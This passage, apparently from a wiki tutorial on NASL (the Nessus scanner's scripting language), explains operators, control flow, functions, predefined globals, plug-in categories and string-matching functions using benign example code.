: Used to select a character from a string by index. For example, if &amp;lt;tt&amp;gt;mystring&amp;lt;/tt&amp;gt; is &amp;lt;tt&amp;gt;a1b2c3&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;mystring[3]&amp;lt;/tt&amp;gt; evaluates to &amp;lt;tt&amp;gt;2&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Assignment Operators ===&lt;br /&gt;
&lt;br /&gt;
Here are the common assignment operators:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to assign a value to a variable.&lt;br /&gt;
;&amp;lt;tt&amp;gt;+=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to increment a variable's value. For example, &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;+=&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt; increments the value of &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; by 3, and is equivalent to the statement &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;=&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;+&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;-&amp;lt;tt&amp;gt;=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to decrement a variable's value. For example, &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;-=3&amp;lt;/tt&amp;gt; decrements the value of &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; by 3, and is equivalent to the statement &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;= a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;-&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;*=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to multiply a variable's value by a specified value. For example, &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;*=&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt; causes the variable &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; to be assigned a value equal to itself multiplied by 3, and is equivalent to the statement &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;=&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;/=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to divide a variable's value by a specified value. For example, &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;/=3&amp;lt;/tt&amp;gt; causes the variable &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; to be assigned a value equal to itself divided by 3, and is equivalent to the statement &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;=&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;/&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;.&lt;br /&gt;
;&amp;lt;tt&amp;gt;%=&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Used to assign a variable a value equal to the remainder of a division operation between itself and a specified value. For example, &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;%=3&amp;lt;/tt&amp;gt; causes the variable &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; to be assigned a value that is equal to the remainder of the operation &amp;lt;tt&amp;gt;a/3&amp;lt;/tt&amp;gt;, and is equivalent to the statement &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;=&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;%&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;3&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== if...else ==&lt;br /&gt;
&lt;br /&gt;
You can use the &amp;lt;tt&amp;gt;if...else&amp;lt;/tt&amp;gt; statement to execute a block of statements depending on a condition. For example, suppose we want the value of variable &amp;lt;tt&amp;gt;port_open&amp;lt;/tt&amp;gt; to be &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; if the value of the variable &amp;lt;tt&amp;gt;success&amp;lt;/tt&amp;gt; is positive. Otherwise, we want the value of &amp;lt;tt&amp;gt;port_open&amp;lt;/tt&amp;gt; to be &amp;lt;tt&amp;gt;-1&amp;lt;/tt&amp;gt;. Our &amp;lt;tt&amp;gt;if...else&amp;lt;/tt&amp;gt; statement would be as follows:&lt;br /&gt;
&lt;br /&gt;
 if (success&amp;gt;0)&lt;br /&gt;
 {&lt;br /&gt;
     port_open=1;&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
     port_open=-1;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Because we have only one statement within the &amp;lt;tt&amp;gt;if&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;else&amp;lt;/tt&amp;gt; blocks, the braces &amp;lt;tt&amp;gt;{&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;}&amp;lt;/tt&amp;gt; are optional, so our statement would have also worked if we had not enclosed our assignment statements within the braces.&lt;br /&gt;
&lt;br /&gt;
It is also possible to nest &amp;lt;tt&amp;gt;if...else&amp;lt;/tt&amp;gt; statements. For example, suppose we want to assign the value &amp;lt;tt&amp;gt;-2&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;port_open&amp;lt;/tt&amp;gt; if &amp;lt;tt&amp;gt;success&amp;lt;/tt&amp;gt; equals &amp;lt;tt&amp;gt;-10&amp;lt;/tt&amp;gt;, or the value &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;port_open&amp;lt;/tt&amp;gt; if &amp;lt;tt&amp;gt;success&amp;lt;/tt&amp;gt; is less than &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;. Otherwise, we want to assign the value &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; to &amp;lt;tt&amp;gt;port_open&amp;lt;/tt&amp;gt;. In this case, our &amp;lt;tt&amp;gt;if..else&amp;lt;/tt&amp;gt; statement would be as follows:&lt;br /&gt;
&lt;br /&gt;
 if (success==-10)&lt;br /&gt;
 {&lt;br /&gt;
     port_open=-2;&lt;br /&gt;
 }&lt;br /&gt;
 else if (success&amp;lt;1)&lt;br /&gt;
 {&lt;br /&gt;
     port_open=0;&lt;br /&gt;
 }&lt;br /&gt;
 else&lt;br /&gt;
 {&lt;br /&gt;
     port_open=1;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Loops ==&lt;br /&gt;
&lt;br /&gt;
''Loops'' are used to iterate through a particular set of statements based upon a set of conditions. The following sections discuss the different types of loop statements supported by NASL.&lt;br /&gt;
&lt;br /&gt;
=== for ===&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop expects three statements separated by semicolons as arguments. The first statement is executed first, and only once. It is most frequently used to assign a value to a variable, which is usually used by the loop to perform iteration. The second statement is a condition that should return &amp;lt;tt&amp;gt;true&amp;lt;/tt&amp;gt; for the loop to continue looping. The third statement is invoked by the &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop after every iteration, and is used to increment or decrement the iteration variable. For example, the following &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop prints all the values of the array &amp;lt;tt&amp;gt;myports&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 for(i=0; i &amp;lt; max_index(myports); i++)&lt;br /&gt;
 {&lt;br /&gt;
     display(myports[i],&amp;quot;\n&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
The function &amp;lt;tt&amp;gt;max_index()&amp;lt;/tt&amp;gt; returns the number of elements in an array, and we use it in our &amp;lt;tt&amp;gt;for&amp;lt;/tt&amp;gt; loop to ensure that the value of &amp;lt;tt&amp;gt;i&amp;lt;/tt&amp;gt; is within range.&lt;br /&gt;
&lt;br /&gt;
=== foreach ===&lt;br /&gt;
&lt;br /&gt;
You can use the &amp;lt;tt&amp;gt;foreach&amp;lt;/tt&amp;gt; statement to loop for every array element. This is useful in cases when you need to iterate through an array. For example, the following loop iterates through &amp;lt;tt&amp;gt;myports[]&amp;lt;/tt&amp;gt; and prints the values contained in it:&lt;br /&gt;
&lt;br /&gt;
 foreach i (myports)&lt;br /&gt;
 {&lt;br /&gt;
     display (i, &amp;quot;\n&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
=== repeat...until ===&lt;br /&gt;
&lt;br /&gt;
The condition specified after &amp;lt;tt&amp;gt;until&amp;lt;/tt&amp;gt; is evaluated after the loop is executed. This means a &amp;lt;tt&amp;gt;repeat...until&amp;lt;/tt&amp;gt; loop always executes at least once. For example, the following displays the string &amp;lt;tt&amp;gt;Looping!&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 i=0;&lt;br /&gt;
 &lt;br /&gt;
 repeat&lt;br /&gt;
 {&lt;br /&gt;
     display (&amp;quot;Looping!\n&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
 } until (i == 0);&lt;br /&gt;
&lt;br /&gt;
=== while ===&lt;br /&gt;
&lt;br /&gt;
A &amp;lt;tt&amp;gt;while&amp;lt;/tt&amp;gt; loop expects one conditional statement and loops as long as the condition is true. For example, consider the following &amp;lt;tt&amp;gt;while&amp;lt;/tt&amp;gt; loop, which prints integers 1 to 10:&lt;br /&gt;
&lt;br /&gt;
 i=1;&lt;br /&gt;
 &lt;br /&gt;
 while(i &amp;lt;= 10)&lt;br /&gt;
 {&lt;br /&gt;
     display(i, &amp;quot;\n&amp;quot;);&lt;br /&gt;
     i++;&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
== Functions ==&lt;br /&gt;
&lt;br /&gt;
A ''function'' is a block of code that performs a particular computation. Functions can be passed input parameters and return a single value. Functions can use arrays to return multiple values.&lt;br /&gt;
&lt;br /&gt;
The following function expects the integer value &amp;lt;tt&amp;gt;port&amp;lt;/tt&amp;gt; as input. The function returns &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; if &amp;lt;tt&amp;gt;port&amp;lt;/tt&amp;gt; is even, &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; if it is odd:&lt;br /&gt;
&lt;br /&gt;
 function is_even (port)&lt;br /&gt;
 {&lt;br /&gt;
     return (!(port%2));&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
The function &amp;lt;tt&amp;gt;is_even( )&amp;lt;/tt&amp;gt; performs the modulo operation to obtain the remainder when &amp;lt;tt&amp;gt;port&amp;lt;/tt&amp;gt; is divided by 2. If the modulo operation returns &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, the value of &amp;lt;tt&amp;gt;port&amp;lt;/tt&amp;gt; must be even. If the modulo operation returns &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;, the value of &amp;lt;tt&amp;gt;port&amp;lt;/tt&amp;gt; must be odd. The &amp;lt;tt&amp;gt;!&amp;lt;/tt&amp;gt; operator is used to invert the evaluation, and this causes the function to return &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt; when the modulo operation evaluates to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;, and &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt; when the modulo operation evaluates to &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Functions in NASL do not care about the order of parameters. To pass a parameter to a function, precede it with the parameter name—for example, &amp;lt;tt&amp;gt;is_even(port:22)&amp;lt;/tt&amp;gt;. Here is an example of how you can invoke &amp;lt;tt&amp;gt;is_even( )&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 for(i=1;i&amp;lt;=5;i++)&lt;br /&gt;
 {&lt;br /&gt;
     display (i,&amp;quot; is &amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
     if(is_even(port:i))&lt;br /&gt;
         display (&amp;quot;even!&amp;quot;);&lt;br /&gt;
     else&lt;br /&gt;
         display (&amp;quot;odd!&amp;quot;);&lt;br /&gt;
 &lt;br /&gt;
     display (&amp;quot;\n&amp;quot;);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
When executed, the preceding program displays the following:&lt;br /&gt;
&lt;br /&gt;
 1 is odd!&lt;br /&gt;
 2 is even!&lt;br /&gt;
 3 is odd!&lt;br /&gt;
 4 is even!&lt;br /&gt;
 5 is odd!&lt;br /&gt;
&lt;br /&gt;
The NASL library consists of some functions that are not global. Such functions are defined in ''.inc'' files and you can include them by invoking the &amp;lt;tt&amp;gt;include()&amp;lt;/tt&amp;gt; function call. For example:&lt;br /&gt;
&lt;br /&gt;
 include(&amp;quot;http_func.inc&amp;quot;);&lt;br /&gt;
 include(&amp;quot;http_keepalive.inc&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
== Predefined Global Variables ==&lt;br /&gt;
&lt;br /&gt;
This section lists global variables that are predefined and are commonly used when writing NASL plug-ins.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;warning&amp;quot;&amp;gt;&lt;br /&gt;
'''Warning'''&lt;br /&gt;
&lt;br /&gt;
Note that NASL does not forbid you from changing the value of these variables, so be careful not to do so accidentally. For example, &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; should always evaluate to a nonzero value, while &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; should always evaluate to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== TRUE and FALSE ===&lt;br /&gt;
&lt;br /&gt;
The variable &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; evaluates to &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;. The variable &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; evaluates to &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== NULL ===&lt;br /&gt;
&lt;br /&gt;
This variable signifies an undefined value. If an integer variable is tested (example: &amp;lt;tt&amp;gt;i&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;==&amp;lt;/tt&amp;gt; &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt;) with &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt;, first it will be compared with &amp;lt;tt&amp;gt;0&amp;lt;/tt&amp;gt;. If a string variable is tested (example: &amp;lt;tt&amp;gt;str == NULL&amp;lt;/tt&amp;gt;) with &amp;lt;tt&amp;gt;NULL&amp;lt;/tt&amp;gt;, it will be compared with the empty string &amp;quot;&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
=== Script Categories ===&lt;br /&gt;
&lt;br /&gt;
Every NASL plug-in needs to specify a single category it belongs to by invoking &amp;lt;tt&amp;gt;script_category()&amp;lt;/tt&amp;gt;. For example, a plug-in whose main purpose is to test a denial-of-service vulnerability should invoke &amp;lt;tt&amp;gt;script_category( )&amp;lt;/tt&amp;gt; as follows:&lt;br /&gt;
&lt;br /&gt;
 script_category(ACT_DENIAL);&lt;br /&gt;
&lt;br /&gt;
You can invoke the &amp;lt;tt&amp;gt;script_category( )&amp;lt;/tt&amp;gt; function with any of the following categories as the parameter:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_ATTACK&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category is used by plug-ins to specify that their purpose is to launch a vulnerability scan on a target host.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_DENIAL&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category is reserved for plug-ins which perform denial-of-service vulnerability checks against services running on remote hosts.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_DESTRUCTIVE_ATTACK&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category is used by plug-ins that attempt to scan for vulnerabilities that might destroy data on a remote host if the attempt succeeds.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_GATHER_INFO&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category is for plug-ins whose purpose is to gather information about a target host. For example, a plug-in that connects to port 21 of a remote host to obtain its FTP banner will be defined under this category.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_INIT&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category contains plug-ins that merely set global variables (KB items) that are used by other plug-ins.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_KILL_HIST&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category is used to define plug-ins that might crash a vulnerable remote host or make it unstable.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_MIXED_ATTACK&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category contains plug-ins which, if successful, might cause the vulnerable remote host or its services to become unstable or crash.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_SCANNER&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category contains plug-ins that perform scans such as pinging or port scanning.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ACT_SETTINGS&amp;lt;/tt&amp;gt;&lt;br /&gt;
: This category contains plug-ins that set global variables (KB items). These plug-ins are invoked by Nessus only when the target host is deemed to be alive.&lt;br /&gt;
&lt;br /&gt;
=== Network Encapsulation ===&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;open_sock_tcp()&amp;lt;/tt&amp;gt; function accepts an optional parameter called &amp;lt;tt&amp;gt;transport&amp;lt;/tt&amp;gt; which you can set to indicate a specific transport layer, which is set to &amp;lt;tt&amp;gt;ENCAPS_IP&amp;lt;/tt&amp;gt; to signify a pure TCP socket. The following lists other types of Nessus transports you can use:&lt;br /&gt;
&lt;br /&gt;
;&amp;lt;tt&amp;gt;ENCAPS_SSLv23&amp;lt;/tt&amp;gt;&lt;br /&gt;
: SSL v23 connection. This allows v2 and v3 servers to specify and use their preferred version.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ENCAPS_SSLv2&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Old SSL version.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ENCAPS_SSLv3&amp;lt;/tt&amp;gt;&lt;br /&gt;
: Latest SSL version.&lt;br /&gt;
;&amp;lt;tt&amp;gt;ENCAPS_TLSv1&amp;lt;/tt&amp;gt;&lt;br /&gt;
: TLS version 1.0.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;get_port_transport( )&amp;lt;/tt&amp;gt; function takes in a socket number as an argument, and returns its encapsulation, which contains one of the constants specified in the preceding list.&lt;br /&gt;
&lt;br /&gt;
== Important NASL Functions ==&lt;br /&gt;
&lt;br /&gt;
This section presents the most basic string, plug-in maintenance, and reporting functions available in NASL. For an exhaustive list of all function calls available in the NASL library, read the NASL2 Reference Manual available at http://nessus.org/documentation/.&lt;br /&gt;
&lt;br /&gt;
=== Strings ===&lt;br /&gt;
&lt;br /&gt;
NASL provides a rich library for string manipulation. When scanning for vulnerabilities, outgoing requests and incoming responses contain data presented to NASL plug-ins as strings, so it is important to learn how to best utilize the available string API. This section discusses NASL-provided functions for pattern matching, simple string manipulation and conversion, and other miscellaneous string-related functions.&lt;br /&gt;
&lt;br /&gt;
==== Simple string manipulation functions ====&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;chomp()&amp;lt;/tt&amp;gt; function takes in a string as a parameter and strips away any carriage returns, line feeds, tabs, or whitespace at the end of the string. For example:&lt;br /&gt;
&lt;br /&gt;
 mystring='abcd \t\r\n';&lt;br /&gt;
 display ('BEGIN',chomp(mystring),'END\n');&lt;br /&gt;
&lt;br /&gt;
displays &amp;lt;tt&amp;gt;BEGINabcdEND&amp;lt;/tt&amp;gt; on one line.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;crap( )&amp;lt;/tt&amp;gt; function is used to fill a buffer with repeated occurrences of a specified string. The function takes in two parameters, &amp;lt;tt&amp;gt;length&amp;lt;/tt&amp;gt; and &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt;. The &amp;lt;tt&amp;gt;length&amp;lt;/tt&amp;gt; parameter specifies the length of the string to be returned, while the &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; parameter specifies the string that should be used to fill the buffer. For example, &amp;lt;tt&amp;gt;crap(length:10,data:'a')&amp;lt;/tt&amp;gt; returns &amp;lt;tt&amp;gt;aaaaaaaaaa&amp;lt;/tt&amp;gt;. If &amp;lt;tt&amp;gt;data&amp;lt;/tt&amp;gt; is not specified, a default value of &amp;lt;tt&amp;gt;X&amp;lt;/tt&amp;gt; is used.&lt;br /&gt;
&lt;br /&gt;
To perform string concatenation, you can use the &amp;lt;tt&amp;gt;strcat( )&amp;lt;/tt&amp;gt; function. This function also converts given variables to strings when performing concatenation. The following example causes the value of &amp;lt;tt&amp;gt;mystring&amp;lt;/tt&amp;gt; to be set to &amp;lt;tt&amp;gt;abcdefgh123&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 string1=&amp;quot;abcd&amp;quot;;&lt;br /&gt;
 string2=&amp;quot;efgh&amp;quot;;&lt;br /&gt;
 number1=123;&lt;br /&gt;
 mystring=strcat(string1,string2,number1);&lt;br /&gt;
&lt;br /&gt;
==== Finding and replacing strings ====&lt;br /&gt;
&lt;br /&gt;
Many functions in this section discuss regular expressions you can apply to search for string patterns. These regular expressions correspond to the POSIX standard. On any Unix or Linux system, you can obtain more information about the format of such regular expressions by typing:&lt;br /&gt;
&lt;br /&gt;
 [notroot]$''' man re_format'''&lt;br /&gt;
                   &lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;egrep( )&amp;lt;/tt&amp;gt; function analyzes a string for a given pattern and returns every line of the string that matches the pattern. For example:&lt;br /&gt;
&lt;br /&gt;
 mystring=&amp;quot;One dog two dog\nThree cat four cat\nFive mouse Six mouse&amp;quot;;&lt;br /&gt;
 display(egrep(pattern:'dog|mouse',string:mystring));&lt;br /&gt;
&lt;br /&gt;
displays:&lt;br /&gt;
&lt;br /&gt;
 One dog two dog&lt;br /&gt;
 Five mouse six mouse&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;pattern&amp;lt;/tt&amp;gt; parameter specifies the pattern to match, while the &amp;lt;tt&amp;gt;string&amp;lt;/tt&amp;gt; parameter specifies the actual string to perform the match against. Another parameter, &amp;lt;tt&amp;gt;icase&amp;lt;/tt&amp;gt;, is optional, and its value is &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; by default, which causes &amp;lt;tt&amp;gt;egrep( )&amp;lt;/tt&amp;gt; to be case-sensitive. When &amp;lt;tt&amp;gt;icase&amp;lt;/tt&amp;gt; is set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;egrep( )&amp;lt;/tt&amp;gt; is case-insensitive.&lt;br /&gt;
&lt;br /&gt;
Sometimes it is necessary to perform matching on a string with respect to a given pattern. For this purpose, you can use the &amp;lt;tt&amp;gt;ereg( )&amp;lt;/tt&amp;gt; function. This function accepts the parameter string that specifies the string to match against, in addition to &amp;lt;tt&amp;gt;pattern&amp;lt;/tt&amp;gt;, which specifies the regular expression to be used to perform the matching. The function returns &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; if a match is found and &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; if no match is found. Here is an example of how &amp;lt;tt&amp;gt;ereg( )&amp;lt;/tt&amp;gt; can prove useful in determining if a URL is present in a given string:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(ereg(pattern:&amp;quot;^http://&amp;quot;, string:mystring, icase:TRUE))&lt;br /&gt;
{&lt;br /&gt;
//URL found  at beginning of mystring&lt;br /&gt;
}&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;icase&amp;lt;/tt&amp;gt; parameter is optional, and when set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt; it causes &amp;lt;tt&amp;gt;ereg( )&amp;lt;/tt&amp;gt; to be case-insensitive. If &amp;lt;tt&amp;gt;icase&amp;lt;/tt&amp;gt; is not specified, it is &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; by default. Another optional parameter to &amp;lt;tt&amp;gt;ereg( )&amp;lt;/tt&amp;gt; is &amp;lt;tt&amp;gt;multiline&amp;lt;/tt&amp;gt;, which is also &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; by default. This causes &amp;lt;tt&amp;gt;ereg()&amp;lt;/tt&amp;gt; to ignore the string contents after a newline character is found. When set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;ereg()&amp;lt;/tt&amp;gt; continues to search the string even after newline characters. Alternatively, you can use the &amp;lt;tt&amp;gt;match()&amp;lt;/tt&amp;gt; function, which accepts simple patterns that consist of &amp;lt;tt&amp;gt;*&amp;lt;/tt&amp;gt; or &amp;lt;tt&amp;gt;?&amp;lt;/tt&amp;gt; as wildcards. It accepts the same parameters as &amp;lt;tt&amp;gt;ereg( )&amp;lt;/tt&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;ereg_replace( )&amp;lt;/tt&amp;gt; function searches for a given pattern in a string and replaces occurrences of the pattern with a given string. Here is an example of how you can use &amp;lt;tt&amp;gt;ereg_replace()&amp;lt;/tt&amp;gt; to replace a string containing an assignment statement &amp;lt;tt&amp;gt;a=1;&amp;lt;/tt&amp;gt; with just the left operand, &amp;lt;tt&amp;gt;a&amp;lt;/tt&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
 example_string=&amp;quot;a=1;&amp;quot;;&lt;br /&gt;
 newstring = ereg_replace(string:example_string,pattern: &amp;quot;(.*)=.*&amp;quot;,&amp;quot;\1&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;\1&amp;lt;/tt&amp;gt; string signifies the first pattern provided within parentheses—i.e., &amp;lt;tt&amp;gt;(.*)&amp;lt;/tt&amp;gt;. Similarly, it is legal to use &amp;lt;tt&amp;gt;\2&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;\3&amp;lt;/tt&amp;gt;, and so on, if applicable. The &amp;lt;tt&amp;gt;ereg_replace( )&amp;lt;/tt&amp;gt; function also accepts the &amp;lt;tt&amp;gt;icase&amp;lt;/tt&amp;gt; parameter which, if set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;, causes &amp;lt;tt&amp;gt;ereg_replace( )&amp;lt;/tt&amp;gt; to be case-insensitive.&lt;br /&gt;
&lt;br /&gt;
The &amp;lt;tt&amp;gt;eregmatch( )&amp;lt;/tt&amp;gt; function searches for a string within another given string, and returns the found patterns in the form of an array. Here is an example of how you can use &amp;lt;tt&amp;gt;eregmatch()&amp;lt;/tt&amp;gt; to find an IP address within a given string:&lt;br /&gt;
&lt;br /&gt;
 mystring = &amp;quot;The IP address is 192.168.1.111.&amp;quot;;&lt;br /&gt;
 &lt;br /&gt;
 ip = eregmatch(pattern: &amp;quot;([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)&amp;quot;,&lt;br /&gt;
 string: mystring);&lt;br /&gt;
 &lt;br /&gt;
 display (ip[0],&amp;quot;\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tt&amp;gt;ip[1]&amp;lt;/tt&amp;gt; contains the string &amp;lt;tt&amp;gt;192&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;ip[2]&amp;lt;/tt&amp;gt; contains &amp;lt;tt&amp;gt;168&amp;lt;/tt&amp;gt;, &amp;lt;tt&amp;gt;ip[3]&amp;lt;/tt&amp;gt; contains &amp;lt;tt&amp;gt;1&amp;lt;/tt&amp;gt;, and &amp;lt;tt&amp;gt;ip[4]&amp;lt;/tt&amp;gt; contains &amp;lt;tt&amp;gt;111&amp;lt;/tt&amp;gt;. Because &amp;lt;tt&amp;gt;ip[0]&amp;lt;/tt&amp;gt; contains the entire string, the preceding example will print the string &amp;lt;tt&amp;gt;192.168.1.111&amp;lt;/tt&amp;gt;. The &amp;lt;tt&amp;gt;eregmatch( )&amp;lt;/tt&amp;gt; function also accepts an optional parameter, &amp;lt;tt&amp;gt;icase&amp;lt;/tt&amp;gt;, which, if set to &amp;lt;tt&amp;gt;TRUE&amp;lt;/tt&amp;gt;, causes the function to be insensitive. It is &amp;lt;tt&amp;gt;FALSE&amp;lt;/tt&amp;gt; by default.&lt;br /&gt;
